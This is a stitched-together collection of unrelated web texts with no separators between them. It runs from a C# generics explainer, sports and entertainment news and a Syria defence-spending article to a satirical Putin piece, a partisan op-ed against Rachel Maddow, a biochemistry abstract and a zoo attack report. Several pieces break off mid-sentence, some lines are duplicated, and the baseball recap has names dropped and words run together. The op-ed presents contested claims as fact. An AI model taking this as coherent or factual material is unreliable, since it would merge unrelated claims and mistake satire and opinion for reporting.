One of my favorite things about BigQuery is its integrations with data visualization tools like Tableau, Data Studio, and Apache Zeppelin. I connected my BigQuery table to Tableau to create the bar graphs shown above. Tableau lets you create all sorts of different graphs depending on the type of data you’re working with. Here’s a pie chart showing the top 10 hashtags in the tweets I collected (lowercased to eliminate duplicates):A new trailer was just released for the long-awaited live-action adaptation of Arakawa Hiromu’s Fullmetal Alchemist!
The plot is one fans will be quite familiar with: Edward and Alphonse’s search for the fabled Philosopher’s Stone. Premiering on Dec. 1, MISIA’s “Kimi no Soba ni Iru yo” will be used as the film’s theme song.
Arakawa had high praise for the upcoming adaptation, remarking that it was beyond enjoyable and left her in tears by the time the credits started rolling! Park Romi and Kugimiya Rei, who both played Edward and Alphonse in the anime, also had nothing but good comments about the film.
The rundown of the main cast is:
Yamada Ryousuke as Elric Edward
Honda Tsubasa as Rockbell Winry
Dean Fujioka as Mustang Roy
Renbutsu Misako as Hawkeye Riza
Satou Ryuuta as Hughes Maes
Oizumi Yo as Tucker Shou
Matsuyuki Yasuko as Lust
Hongou Kanata as Envy
Shinji Uchiyama as Gluttony
Seven years have passed since fans of Fullmetal Alchemist have been treated to a new work, with the FMA: Brotherhood anime ending in 2010. What are your impressions of the upcoming film?
© 2017 Arakawa Hiromu / SQUARE ENIX
© 2017 Fullmetal Alchemist Film Production CommitteeBecause I'm a geek, I enjoy learning about the sometimes-subtle differences between easily-confused things. For example:
I'm still not super-clear in my head on the differences between a hub, router and switch and how it relates to the gnomes that live inside of each.
, and and how it relates to the gnomes that live inside of each. Hunks of minerals found in nature are rocks ; as soon as you put them in a garden or build a bridge out of them, suddenly they become stones.
; as soon as you put them in a garden or build a bridge out of them, suddenly they become. When a pig hits 120 pounds, it's a hog.
I thought I might do an occasional series on easily confounded concepts in programming language design.
Here’s a question I get fairly often:
public class C
{
public static void DoIt<T>(T t)
{
ReallyDoIt(t);
}
private static void ReallyDoIt(string s)
{
System.Console.WriteLine("string");
}
private static void ReallyDoIt<T>(T t)
{
System.Console.WriteLine("everything else");
}
}
What happens when you call C.DoIt<string>? Many people expected that “string” is printed, when in fact “everything else” is always printed, no matter what T is.
The C# specification says that when you have a choice between calling ReallyDoIt<string>(string) and ReallyDoIt(string) – that is, when the choice is between two methods that have identical signatures, but one gets that signature via generic substitution – then we pick the “natural” signature over the “substituted” signature. Why don’t we do that in this case?
Because that’s not the choice that is presented. If you had said
ReallyDoIt("hello world");
then we would pick the “natural” version. But you didn’t pass something known to the compiler to be a string. You passed something known to be a T, an unconstrained type parameter, and hence it could be anything. So, the overload resolution algorithm reasons, is there a method that can always take anything? Yes, there is.
This illustrates that generics in C# are not like templates in C++. You can think of templates as a fancy-pants search-and-replace mechanism. When you say DoIt<string> in a template, the compiler conceptually searches out all uses of “T”, replaces them with “string”, and then compiles the resulting source code. Overload resolution proceeds with the substituted type arguments known, and the generated code then reflects the results of that overload resolution.
That’s not how generic types work; generic types are, well, generic. We do the overload resolution once and bake in the result. We do not change it at runtime when someone, possibly in an entirely different assembly, uses string as a type argument to the method. The IL we’ve generated for the generic type already has the method its going to call picked out. The jitter does not say “well, I happen to know that if we asked the C# compiler to execute right now with this additional information then it would have picked a different overload. Let me rewrite the generated code to ignore the code that the C# compiler originally generated...” The jitter knows nothing about the rules of C#.
Essentially, the case above is no different from this:
public class C
{
public static void DoIt(object t)
{
ReallyDoIt(t);
}
private static void ReallyDoIt(string s)
{
System.Console.WriteLine("string");
}
private static void ReallyDoIt(object t)
{
System.Console.WriteLine("everything else");
}
}
When the compiler generates the code for the call to ReallyDoIt, it picks the object version because that’s the best it can do. If someone calls this with a string, then it still goes to the object version.
Now, if you do want overload resolution to be re-executed at runtime based on the runtime types of the arguments, we can do that for you; that’s what the new “dynamic” feature does in C# 4.0. Just replace “object” with “dynamic” and when you make a call involving that object, we’ll run the overload resolution algorithm at runtime and dynamically spit code that calls the method that the compiler would have picked, had it known all the runtime types at compile time.A Syria strike would almost certainly boost orders for Tomahawk missiles. | REUTERS Syria hit could up Raytheon payday
A U.S. attack on Syria could translate into big bucks for defense giant Raytheon, which makes the Tomahawk cruise missile that’s said to be President Barack Obama’s weapon of choice.
Reports that the White House is planning an attack to punish Damascus for the use of chemical weapons sent Raytheon’s stock price to a 52-week high this week — and have reawakened grumblings in Congress that the military doesn’t buy enough Tomahawks.
Story Continued Below
“There are many of us who have been concerned for years about maintaining our missile capabilities,” said Rep. Rob Bishop (R-Utah), a member of the House Armed Services Committee.
( PHOTOS: Scenes from Syria)
On paper, the Pentagon buys 196 Tomahawk missiles a year, considered the “minimum sustaining rate,” or just enough to maintain the supply chain. But the Navy, which did not respond to a request for comment, has had to ramp up production after firing hundreds of Tomahawks during Libya’s 2011 civil war.
Accounting for the extra orders, Raytheon has delivered 252 missiles this fiscal year and 361 last fiscal year. And any Tomahawks fired at Syria would almost certainly represent a future increase in orders for the missiles, which can go for about $1 million apiece.
“There’s a number that has to be available,” said one defense lobbyist. “If they fall below that number, they’ll replace them.”
Bishop is worried about the fledgling supply chain for solid rocket motors, with guided missile programs bringing a lot of money to his district. Demand for the motors that are used to launch Tomahawk missiles from warships and submarines has fallen in recent years because of cuts to U.S. space and missile programs.
( Also on POLITICO: Media skepticism on Syria)
For Raytheon, the big question is whether a starring role for the Tomahawk in Syria will lead to a permanent increase in orders for the missiles, which have become a go-to weapon in recent conflicts because of their ability to penetrate sophisticated air-defense systems without risking U.S. lives.
“Cruise missiles are heavily used, particularly so often at the start of any conflict, as sort of the way to open the door,” Bishop said. “When you reduce funding or diminish demand in many of these programs, you really endanger the capability to maintain this missile capability at all.”
In its budget submission for fiscal 2013, the White House requested 196 Tomahawks, for a total program cost of $320 million. It’s requesting the same amount next fiscal year, for a cost of $325 million. The increase in price, defense watchers say, is the result of several factors: inflation, rising fuel costs and a shrinking supply chain.
The Navy has also bought extra missiles to replenish its inventories following the civil war in Libya, awarding Raytheon two Tomahawk contracts last year — one for 361 missiles and the other for 252, with the work for the second contract expected to be completed by August 2015.
( Also on POLITICO: Behind the Curtain: The ironic war plan)
The increased orders were a boon for Raytheon, which saw an increase in net Tomahawk sales of $32 million during the second quarter of the year, compared with the same period last year, according to its latest filings with the Securities and Exchange Commission.
Any Tomahawks used in Syria would likely represent another increase in future sales, raising an obvious question: Where would a cash-strapped Pentagon get the money to replace Tomahawks used to punish Damascus?
Probably from its base budget, the lobbyist said, or from accounts intended to pay for the war in Afghanistan.
“Otherwise, they’ll have to address it in their upcoming budget request,” the lobbyist added, saying there’s little chance Congress would pass a supplemental spending bill for operations in Syria. Pentagon leaders had said earlier a Syria intervention might force them to request more money from Congress.
The lack of supplemental funding is causing frustration among lawmakers worried the costs of an intervention in Syria could exacerbate the Pentagon’s fiscal woes. “Our military has no money left,” said Oklahoma Sen. Jim Inhofe, the ranking Republican on the Senate Armed Services Committee.
On Wednesday, Inhofe announced he’s opposed to military operations in Syria — a major setback for the Obama administration as it works to drum up support among key members of Congress for a response to the reported use of chemical weapons by Syrian President Bashar Assad.
“We can’t simply launch a few missiles and hope for the best,” Inhofe said.
Regardless, the administration appears to be moving forward with plans to attack Syria as early as Thursday. The Navy has four guided-missile destroyers in the Mediterranean, with a fifth on the way, each armed with Tomahawks.
The missiles, which can be launched from both surface warships and submarines, have a range of more than 1,000 nautical miles. The latest version, Block IV, has a satellite link that allows it to loiter over the battlefield as it awaits target instructions.
And in Washington, they’re quickly becoming a symbol for defense advocates worried that cuts in military spending will leave the country ill-prepared for future conflicts.
“It’s not like |
more tactics defenses can use to counter static, one-on-one play, like fronting the post or creatively double teaming. All of that makes it much harder for offenses to gain one-on-one advantages. So Golden State has instead resorted to ways to attack switches through movement.
For example, attacking the switch by using the quickness mismatch to get open off the ball instead of with the ball:
There are also ways to attack the switch as it’s occurring instead of waiting for it to happen, like setting a solid screen but then rolling hard:
This takes advantage of the player who was originally guarding the ball handler being out of position. They were chasing the ball but now they are too high out to switch, so it turns into a more standard pick-and-roll even though the defense is trying to switch it.
Similarly, on Golden State’s off ball screening actions, the Warriors have become very clever at utilizing angles to gain an advantage and get open for a cut to the basket:
The Warriors also will try to knock the defender out of position for a clean switch by setting an earlier off ball screen for the player who’s going to screen in the pick-and-roll action, like this:
A common way to beat a switch is to slip the screen, meaning that the screener comes up like he’s going to set a screen but then never does. Instead he runs out of it early, either rolling to the rim or popping for a jumper. The Warriors do this often as well:
This is similar to the hard roll above — it makes a switch look more like a conventional pick-and-roll, keeping the movement Golden State wants. But it also has an advantage of creating confusion for the defense: if there is no screen set, it’s ambiguous whether the defenders should switch or not. Both defenders have to be on the same page to avoid a major breakdown.
Which illustrates a general point: switching requires a team to have great communication. It’s very easy to have a breakdown when switching, and so each switch puts pressure on the defenders to be on the same page. By slipping out or setting ambiguous screens an offense can make it more likely the defense gets confused and makes a mistake.
And really that’s the biggest way Golden State makes opponents pay for switching: they keep moving and keep screening and keep running actions that put so much pressure on the defense that eventually that defense is likely to crack. The Spurs are one of the best at not falling victim to this, and yet we see it even with them — it’s just that hard to be right all the time:
It might look easy from all of these clips, but it’s notable how unique all of this is. Other teams might do some of this, but few other teams tend to attack switches with the consistent dynamism of the Warriors.
Game 7, 2016
What the Warriors do against switches teaches us a broader lesson about their offense. Golden State has been the most efficient offensive team over the last three seasons, and they’ve had this offensive success because of their skill level — the shooting and passing is what opens it all up in the first place. But it’s not just that. They maximize that skill advantage through constant movement and activity, avoiding static isolations, post-ups and pick-and-rolls as much as any team in the league.
The ball and players just keep moving. In each of these last three years they have ranked in the top 2 in the percentage of their made baskets that were assisted, this year assisting on over 70% of their makes — a mark not reached by any team in the previous 13 seasons. They’ve also had one of the lowest rates in the league of seconds holding the ball per touch. Perhaps it seems inevitable that a team with this much shooting and passing would play like this, but that’s not necessarily the case. With a largely similar roster, Golden State’s teams in the two seasons prior to Steve Kerr taking over as head coach did not rank in the top 10 in assist rate and actually had the highest seconds per touch in the league. Take the skill level of the players and add in Steve Kerr’s offensive style and the Warriors’ perpetual motion machine has become almost impossible to stop.
Unless it stops itself. In the last few minutes of Game 7 of the 2016 NBA Finals, that’s what seemed to happen. Perhaps it was feeling the gravity of the moment, or more likely it just was a group of exhausted players who had been putting every ounce of energy they had into the game. But regardless of the reason, play slowed down. Both sides were switching almost everything, and it became a one-on-one battle:
Look at how slowly the Warriors are moving compared to the previous clips. Look at how easy it is for the defense to switch, and to react to the slipped screen by Klay Thompson. That’s not the type of battle the Warriors win, certainly not against LeBron and Kyrie Irving, two of the most talented one-on-one scorers in the league. The Cavs also struggled to score in those final minutes, but ultimately it came down to Kyrie making the one-on-one play after a switch and Steph not:
Should the two teams face off in their third straight Finals matchup, it will be a key aspect of the matchup. Will the Cavs be able to get the Warriors to once again play on their terms? Or will the Warriors be able to turn the Cavs’ tactics on their head and flip the switch?Satire
Putin Prepares For Invasion of Europe With Massive Cuts to Military Spending
Russia announces "deepest defense budget cuts since 1990s". Putin must be stopped before it's too late
By Riley Waggama
March 19, 2017 " Information Clearing House " - Since the fall of the Berlin Wall, the world has enjoyed an unprecedented era of peace and prosperity.
Long gone are the days of wasteful military expenditures and no-bid contracts to build airplanes and aircraft carriers that neither fly nor float.
The permanent wartime economy that was never dismantled after World War II is ancient history. There is simply no longer any justification for spending many gazillions of dollars each year on Raytheon space lasers. In the United States, jet fighter factories now manufacture lawn mowers and Segways.
We are living in good times. Sensible times.
But all that we've accomplished over the last 25-odd years is now being threatened by one man.
From Baltimore to Baghdad, people cry out: "who will stop Vladimir Putin from conquering the world?"
Yes, Russia's czar has imperial ambitions — global ambitions. He wants war. He needs war.
And from the looks of it, that's exactly what he's preparing for :
Figures released by the Russian Federal Treasury have confirmed that Russia's defence budget has been cut by 25.5% for 2017, falling from RUB3.8 trillion (USD65.4 billion) to RUB2.8 trillion. The reduction represents the largest cut to military expenditure in the country since the early 1990s.
As we type these words, the Russians are greasing their tank treads with the blood of Al Nusra and other moderate, LGBTQ-friendly knitting clubs in Syria.
The rape of Aleppo did not fulfill Putin's bloodlust. He's coming for Europe. And then the world.Kevin O'Sullivan
Nelson Maldonado
Dane Dunning
Head coach Kevin O'Sullivan improved to 10-1 against Florida State at McKethan Stadium and is now 16-15 overall in the series.
improved to 10-1 against Florida State at McKethan Stadium and is now 16-15 overall in the series. Florida recorded its fourth shutout of the season; it was the club's first shutout at home against Florida State since March 3, 1994.
Tonight marked the eighth time that the Gators blanked the Seminoles, first time since an 8-0 triumph in Tallahassee on April 8, 2014.
The Gators are 13-0 at home this season and are on a 20-game winning streak at McKethan Stadium since a 4-1 loss to Auburn on May 15, 2015.
UF had multiple homers for the fifth time this season – Nelson Maldonado (2nd inning) and Peter Alonso (3rd inning).
(2nd inning) and (3rd inning). Florida turned a season-high three double plays tonight.
Deacon Liput has reached base in all 19 games this season.
has reached base in all 19 games this season. Every Florida starter reached base.
Kirby Snead made his team-leading 10th appearance and lowered his ERA to 0.73.
made his team-leading 10th appearance and lowered his ERA to 0.73. With 11 K tonight, Florida's pitching staff recorded double-digit strikeouts for the 13th time this season.
Tonight's attendance of 5,917 ranks fifth all-time at McKethan Stadium.
– No. 1 Florida topped No. 11 Florida State, 6-0, on Tuesday night in the first of the squads' three Sunshine Showdown matchups this season. With their first shutout of the Seminoles (13-4) in Gainesville since March 3, 1994, the Gators (18-1) raised their winning streak to 12 games in front of a crowd of 5,917, the fifth-largest in McKethan Stadium history.Junior(2-0) scattered seven hits and totaled five strikeouts over 5.2 innings to earn the victory and was followed to the mound by freshman(2.0 IP, 1 H, 3 K), junior(0.1 IP, 1 K) and junior(1.0 IP, 1 H, 2 K). The Gators turned a season-high three double plays and their pitching staff notched 11 strikeouts and permitted one walk.Freshmanopened the scoring with a solo homer in the second inning off of freshman Tyler Holton (0-2). It was his second homer in the past three games and landed in the left-field bleachers.The Seminoles put their first two runners of the third inning aboard against Dunning with singles by sophomore Taylor Walls and senior John Sansone (2-for-4). After freshman Cal Raleigh flew out to the warning track, moving Walls to third base, Dunning had junior Quincy Nieporte ground into an inning-ending double play.In the bottom of the frame, sophomore(3-for-5) led off with a single into left field and juniorfollowed with his fourth homer to deep left field for a 3-0 Gator advantage.Schwarz boosted Florida's margin to 4-0 with a two-out RBI single up the middle in the fourth that scored junior. Freshman(2-for-4) led off with a double into the left-field corner, prompting a pitching change. Freshman Chase Haney took over for Holton (3.0 IP, 5 H, 4 R) and sophomorelaid down a sacrifice bunt that pushed India to third. Although a fielder's choice by Reed erased India at the plate, Reed stole second base and went to third when the relay throw went into the outfield. Schwarz poked a 3-2 pitch into center field to bring across Reed.The Gators tacked on two more runs in the fifth on an RBI single by India and sophomorecame home on a wild pitch with the bases full. Sophomorehad a one-out single into right center, Vasquez was hit by senior Matthew Kinney and Maldonado walked to load the bases. India drove in Rivera with a base-hit into left off of junior Jim Voyles and Vasquez scored when strike three to Guthrie eluded the Seminole catcher.Opening Statement:"Starting on the mound, Dane (Dunning) did a nice job. We are swinging the bats a lot better, we are playing good baseball and obviously we needed to do that tonight against a very good Florida State team."On"I am really pleased with where Dane (Dunning) is at right now. He has made tremendous strides and is a great teammate. He has worked awfully hard through his first two years, and he is starting to see his rewards. Dane made some really big pitches when he needed to and I'm really proud of him."On overcoming a slow start to the season:"I've definitely picked up the pace now. I feel comfortable at the plate now and I feel confident when I'm up there. Today I saw a pitch up and I hit it."On the tremendous plays by the Gators' defense:"Our defense was phenomenal. They were making plays for me left and right. Our defense has always been good throughout the years, I'm just hoping they can keep it going."The Gators begin SEC play on Friday when they host Missouri in the opener of a weekend series starting at 7 p.m.andhave the call on the Gator IMG Sports Network and the game will be shown live as part of the Bases Loaded Coverage on the SEC Network withandGuest Blogger: Mark Clark, author of Star Trek FAQ (Applause Books)
In a previous blog entry, I answered the question (posed by reviewer of my book Star Trek FAQ: Everything Left to Know about the First Voyages of the Starship Enterprise), is Star Trek all it’s cracked up to be? For the record, I responded with an emphatic yes. But what about Star Trek: The Next Generation? In my forthcoming companion volume, Star Trek FAQ 2.0: Everything Left to Know about the Feature Films, I write about the quality of the sequel series:
During its prime era (from Seasons Three through Six), Star Trek: The Next Generation consistently delivered elegantly produced, convincingly performed, character-driven stories enriched by imaginative, thought-provoking science fiction concepts. The series was as ambitious and well-crafted as any on the air. Simply put, it was one of the best shows on television. But The Next Generation, while collecting an impressive haul of Emmys in various technical categories, for many years was shut out of these more prestigious “creative” categories. This became a source of frustration for the show’s producers and cast, who believed Emmy voters didn’t take the series seriously because it was syndicated, and because it was science fiction.
“Because our show doesn’t air on one of the traditional networks, we continually face the frustration of being an anomaly,” Berman complained to a reporter from Entertainment Tonight, in a story about the production of Next Gen’s landmark eightieth episode (one more than the original program). “We can only hope our show will be acknowledged by the industry, which an increasing number of viewers have obviously been enjoying for the past four seasons regardless of where they watch it.”
In the same interview, Patrick Stewart seemed even more irritated. “We’re conscious of that some people think of us as ‘That syndicated kid’s show,’ and as far as a large part of the TV industry is concerned, we are,” Stewart fumed. “Otherwise, how can you explain the total absence of Emmy nominations for directing, writing and acting?” Stewart went on to compare Star Trek with Shakespeare, pointing out that the Bard’s plays were also considered escapist entertainment in their day, but “clearly his plays could be very serious, too.”
Indeed, looking back, Star Trek: The Next Generation compares favorably with many of the programs that earned higher ratings and greater Emmy recognition during its prime years (from Season Three in 1989-90 through Season Six in 1992-93).
Situation comedies dominated this era in television. Shows such as Cheers, Roseanne, The Cosby Show and Murphy Brown ruled the Nielsen ratings. For the 1989-90 season, no drama series finished in the Top 10. The top-rated dramas were L.A. Law and Murder, She Wrote, which tied for Number 14. In the Heat of the Night (Number 17) and Matlock (Number 20) also cracked the Top 20. Over the next three seasons, only three dramas cracked the Top 20: Murder, She Wrote (all three seasons), Matlock (in 1990-91), and Northern Exposure (in 1991-92 and ’92-93). Today, Next Gen boasts a far larger following than any of those series.
The critical darlings of the era were L.A. Law (which won the Emmy for Outstanding Drama Series in 1990 and ‘91), Northern Exposure (Emmy champion in 1992) and Picket Fences (the 1993 Emmy winner), along with frequent nominees China Beach, thirtysomething, and Law & Order. A science fiction series rubbed elbows with this distinguished company, but it wasn’t Next Gen; it was Quantum Leap, Emmy nominated for three consecutive seasons from 1990 through 1992. Yet The Next Generation, arguably, was more innovative and in form and adventurous in content than any of those more celebrated programs.
The Next Generation was belatedly honored with an Emmy nomination as Outstanding Dramatic Series following its final season in 1994, which was somewhat ironic since the show’s teleplays were very inconsistent that year. Although it failed to win that year (losing to Picket Fences), Next Gen became the first syndicated program ever nominated for the award. Next Gen won a George Foster Peabody Award for the Season One episode “The Big Goodbye.” It was the first syndicated program ever to win the award. Over the next several seasons, the Peabody Award (not widely known outside the broadcasting industry but cherished within it) went to China Beach, thirtysomething, Twin Peaks and Northern Exposure. Peabody voters, at least, considered The Next Generation on par with the finest dramas on TV from the very beginning.
Of course, this analysis leaves open the question of which series was better, the original or Next Gen. But that’s an issue for another day – and, perhaps, for a future blog entry.
Star Trek FAQ tells the complete story of Star Trek, from the before the beginning (the books, films, and TV shows that inspired producer Gene Roddenberry to create Star Trek) until after the end (when the show emerged as a cultural phenomenon in syndication), and including dramatic behind-the-scenes stories (e.g., Leonard Nimoy’s struggle with alcoholism and actress Grace Lee Whitney’s controversial firing) often omitted from “authorized” histories of the program. Along with in-depth looks at the pre- and post-Trek careers of the show’s iconic leads, Star Trek FAQ includes profiles of guest stars and “redshirt” extras alike, as well as the many writers, technicians, and artisans whose efforts enabled Star Trek to take flight. The book also explores the show’s unprecedented resurgence in the 1970s with chapters devoted to early Star Trek fiction, merchandising, and the short-lived animated series. Combining a wealth of fascinating information about every facet of the show’s production with original analysis of Star Trek‘s enduring appeal and cultural influence, Star Trek FAQ goes where no Star Trek book has gone before.
AdvertisementsIndiana Jones and the Temple of Doom is not considered the best of the Indy movies, but the large battle/escape scene reminds us of many things that go into a good encounter. The escape from the mines of Moria in the Fellowship of the Ring of the Lord of the Rings is another scene that exemplifies good encounters.
Looking at these examples, here are several items to consider to make more dynamic, inspiring encounters:
Memorable Villain: In Temple of Doom the battle near the end includes the evil priest. He establishes his power with an image impossible to forget: pulling out a beating heart. In the Fellowship of the Ring, we see the orc army run at the first sign of the Balrog then we see its imposing size and magma aura.
In Temple of Doom the battle near the end includes the evil priest. He establishes his power with an image impossible to forget: pulling out a beating heart. In the Fellowship of the Ring, we see the orc army run at the first sign of the Balrog then we see its imposing size and magma aura. Three dimensions: When drawing on paper, we tend to think two dimensionally. But these scenes remind us that having enemies waiting to strike from an upper-level archway or giving a character a chance to hide atop a tall statue or under an elevated mine-cart structure makes for a much more vibrant battle with opportunities to do heroic or villainous feats.
When drawing on paper, we tend to think two dimensionally. But these scenes remind us that having enemies waiting to strike from an upper-level archway or giving a character a chance to hide atop a tall statue or under an elevated mine-cart structure makes for a much more vibrant battle with opportunities to do heroic or villainous feats. Fourth dimension: Does something about the area change? This could be as simple as a foe destroying an escape route or creating a pile of rubble to make movement difficult. But it could also be a moving room or a trap that causes the ceiling to compress or the room to fill with water.
Does something about the area change? This could be as simple as a foe destroying an escape route or creating a pile of rubble to make movement difficult. But it could also be a moving room or a trap that causes the ceiling to compress or the room to fill with water. Reinforcements: Just when our heroes are ready to take a breath and think they’ve accomplished something, it is time to increase the risk. Perhaps the battle was overheard by the enemies’ allies or one enemy got away to gather others. Alternately, allies of the heroes can show up when reasonable. For example the British commander comes to Indy’s aid as he climbs the bridge once the Indian boy-king has had a chance to fetch the British.
Just when our heroes are ready to take a breath and think they’ve accomplished something, it is time to increase the risk. Perhaps the battle was overheard by the enemies’ allies or one enemy got away to gather others. Alternately, allies of the heroes can show up when reasonable. For example the British commander comes to Indy’s aid as he climbs the bridge once the Indian boy-king has had a chance to fetch the British. Props: Having interesting things on the battlefield to interact with gives everyone (the heroes and the foes) more chances to do something interesting. Perhaps there is a statue–can it be tipped over? Used as a hiding spot? Climbed to gain a better position? See that old well over there… maybe a foe can be thrown down it to his death? Or is it an escape route? A path for reinforcements? See a mine cart rolling through the room… get to it for a faster escape.
Having interesting things on the battlefield to interact with gives everyone (the heroes and the foes) more chances to do something interesting. Perhaps there is a statue–can it be tipped over? Used as a hiding spot? Climbed to gain a better position? See that old well over there… maybe a foe can be thrown down it to his death? Or is it an escape route? A path for reinforcements? See a mine cart rolling through the room… get to it for a faster escape. Scenery: This point overlaps somewhat with “Props.” A pile of rubble can make walking that area difficult. Foliage can also provide cover or a hiding spot or even a way to ambush from above.
This point overlaps somewhat with “Props.” A pile of rubble can make walking that area difficult. Foliage can also provide cover or a hiding spot or even a way to ambush from above. Elements: Fire, Water, Earth, Air and Magic can all add to an encounter as well! A lava pit will mean certain death for nearly anyone who falls into it. Grappling in water can drown a foe or a large water tower can flood a cavern tunnel. A support beam strategically targeted can crush and decimate an army. Similarly a cave-in can cause enemies to run out of air. And magic can cause an area to be silent, foggy, hidden or any number of effects! These are just a few examples of the elements being used as an ally for one side or the other.
Our two examples above are major points in each movie, so you can’t expect or plan to have each of these aspects in every encounter. But if you don’t have any of the above in a given encounter, look at the list and find at least one to incorporate. Maybe not every battle can be memorable, but there is rarely a good reason not to include at least a couple of the above encounter aspects such as some rough ground, trees, a bit of furniture, a ledge up above, or the chance that guards in the next room will hear the battle.On March 14, MSNBC’s Rachel Maddow sensationalized an exclusive story on President Donald Trump’s tax returns, enticing viewers with the promise that the scandal surrounding Trump’s refusal to release his tax returns would be answered. Instead, viewers were let down. Maddow shamelessly advertised the “breaking story,” complete with sensational tweets and a countdown clock. But the tax returns turned out to be a single tax return from 2005. They revealed that—in 2005 at least—Trump paid a 24 percent tax rate on $152.7 million of income. The non-story incited speculation that Trump released the tax returns to Maddow himself, and Maddow, a shameless mainstream media establishment sycophant, was more than willing to dupe her viewers and countless others into watching her show. In all, the charade embarrassingly revealed a lack of integrity on Maddow’s part.
During the 2016 presidential election and in the post election analysis, Maddow, who makes $30,000 a day, has cemented herself as a leading establishment spokesperson for DNC propaganda. She has repeatedly lent credence to the various scapegoats Democrats have used to excuse Hillary Clinton’s overt failures as a presidential candidate.
During the 2016 Democratic primaries, Maddow interviewed former DNC Chair Debbie Wasserman Schultz after the Nevada Democratic Party Convention, giving Wasserman Schultz a platform to propagate the now debunked myth that Sen. Bernie Sanders’ supporters were throwing chairs. Despite the ethics concerns that should arise from premiering advertisements from Clinton Super PACs on her show, Maddow did so anyway throughout the primaries and even interviewed the director of one of the ads. Maddow also premiered Sen. Elizabeth Warren’s formal endorsement of Clinton. The endorsement was a final slight toward Sanders’ supporters who were frustrated over Warren sitting on the fence during the primaries, which were ultimately tipped in Clinton’s favor by the DNC, mainstream media and Democratic establishment.
Shortly after the election results came through, Maddow tweeted that third party candidates were the reason Clinton lost the election. In truth, the problem with Clinton’s candidacy was the Democratic establishment anointing a presidential candidate who couldn’t even beat the candidate that she strategized to elevate to provide herself with a weak opponent for the general election. Maddow and her network were part of the network of corporate media outlets that provided Trump with nearly $2 billion in free media coverage. Yet, Maddow offered no accountability for her and her network’s role in the election outcome. Instead, she focused on blaming those who didn’t fall in line behind Clinton. Maddow skewed statistics and made baseless assumptions to make it appear as though Green Party Candidate Jill Stein and Libertarian Candidate Gary Johnson stole votes from Clinton. Maddow omitted the thousands of voters in Florida, Pennsylvania, Wisconsin, and Michigan that voted for former President Barack Obama in 2008 and 2012 but didn’t vote for Clinton in 2016—or the millions of people who didn’t bother to vote at all in 2016.
Before Obama left office, CNN reported that he deployed thousands of troops to supplement NATO forces in Poland as a sign of force toward Russia. This was the largest deployment of U.S. troops on the Russia border since the Cold War. Rachel Maddow, a leading propagator of the neo-McCarthyist, anti-Russia narrative, admitted that she and other mainstream media reporters would sensationalize the Russia narrative if Trump drew the troops back from Russia’s border. “And here’s the question: Is the new president gonna take those troops out? After all the speculation, after all the worry, we are actually about to find out if Russia maybe has something on the new president? We’re about to find out if the new president of our country is going to do what Russia wants once he’s commander-in-chief of the U.S. military starting noon on Friday. What is he gonna do with those deployments? Watch this space,” said Maddow, speculating with very little evidence. Maddow’s war-mongering assumption still hasn’t come true, in which she inferred that if Trump de-escalated a military threat between two super powers, it would somehow prove that the unverifiable Trump dossier is true. When NBC News’ Richard Engel debunked the allegations from the dossier during an interview with Maddow—citing that he has tried to prove its claims for over a year—she ignored it.
Maddow’s “breaking news story” on Trump’s tax returns was a bust. She willingly exploited them for an easy ratings boost, despite knowing it would benefit Trump by undermining criticisms that he hasn’t released his tax returns. The debacle demonstrated the what kind of journalist Maddow is and what the establishment media is focused on. For them, facts, truth and establishing trust with their audience don’t matter; only the profit motive does as they serve as puppets for the elitist status quo.Russia's President Vladimir Putin (R) and Japan's Prime Minister Shinzo Abe shake hands before their talks in Beijing November 9, 2014, in this photo taken by Kyodo. REUTERS/Kyodo (CHINA)
BEIJING (Reuters) - Japanese Prime Minister Shinzo Abe on Sunday pressed Russian President Vladimir Putin to play a constructive role in ensuring that a shaky ceasefire in Ukraine holds.
In bilateral talks held on the sidelines of the Asia Pacific Economic Cooperation (APEC) leaders summit, Abe expressed concern that actions by pro-Russian separatists were complicating the situation in Ukraine, according to Japan’s Deputy Chief Cabinet Secretary Katsunobu Kato.
Abe “strongly urged” Putin to play a constructive role so that both sides abide by the ceasefire agreement, he told reporters, adding that Putin responded by explaining Russia’s position on the issue.
A two-month-old ceasefire in Ukraine appears shakier than ever. Ukraine’s military accused Russia on Friday of sending a column of 32 tanks and truckloads of troops into the country’s east to support pro-Russian separatists.
Putin and Abe, who are said to be on first-name terms, last held bilateral talks in February in Sochi, where Abe traveled to attend the opening ceremony of the Winter Olympics.
The two leaders have now agreed to begin preparations for Putin to visit Japan next year, Kato said.
Putin had planned a return visit to Tokyo in November but ties were strained after Japan, as part of a coordinated G7 move, imposed sanctions on Moscow for its annexation of the Crimea peninsula in March and its involvement in a pro-Russian rebellion in eastern Ukraine.
Moscow denies sending troops and arms to the area.
Tokyo’s measures against Russia have been lighter than those of the United States or the European Union, and Abe has continued to try to court Moscow despite ties already being strained by a long-running territorial dispute.Abstract
Glutathione S-transferase pi 1 (GSTP1) is frequently overexpressed in cancerous tumors and is a putative target of the plant compound piperlongumine (PL), which contains two reactive olefins and inhibits proliferation in cancer cells but not normal cells. PL exposure of cancer cells results in increased reactive oxygen species and decreased GSH. These data in tandem with other information led to the conclusion that PL inhibits GSTP1, which forms covalent bonds between GSH and various electrophilic compounds, through covalent adduct formation at the C7-C8 olefin of PL, whereas the C2-C3 olefin of PL was postulated to react with GSH. However, direct evidence for this mechanism has been lacking. To investigate, we solved the X-ray crystal structure of GSTP1 bound to PL and GSH at 1.1 Å resolution to rationalize previously reported structure activity relationship studies. Surprisingly, the structure showed that a hydrolysis product of PL (hPL) was conjugated to glutathione at the C7-C8 olefin, and this complex was bound to the active site of GSTP1; no covalent bond formation between hPL and GSTP1 was observed. Mass spectrometry (MS) analysis of the reactions between PL and GSTP1 confirmed that PL does not label GSTP1. Moreover, MS data also indicated that nucleophilic attack on PL at the C2-C3 olefin led to PL hydrolysis. Although hPL inhibits GSTP1 enzymatic activity in vitro, treatment of cells susceptible to PL with hPL did not have significant anti-proliferative effects, suggesting that hPL is not membrane-permeable. Altogether, our data suggest a model wherein PL is a prodrug whose intracellular hydrolysis initiates the formation of the hPL-GSH conjugate, which blocks the active site of and inhibits GSTP1 and thereby cancer cell proliferation.Pictured: Shocking moment polar bear attacks woman who climbed into zoo enclosure
This is the terrifying moment a woman was attacked by a polar bear after jumping into its zoo enclosure.
The 32-year-old leapt over bars at Berlin Zoo during the bears' feeding time yesterday.
Despite six zookeepers' efforts to distract the four predators kept in the enclosure, the woman was bitten several times on her arms and legs.
Shocking attack: A woman was mauled by a bear after jumping into a enclosure at Berlin Zoo yesterday
The brave keepers eventually managed to push the bear away and pull the woman to safety.
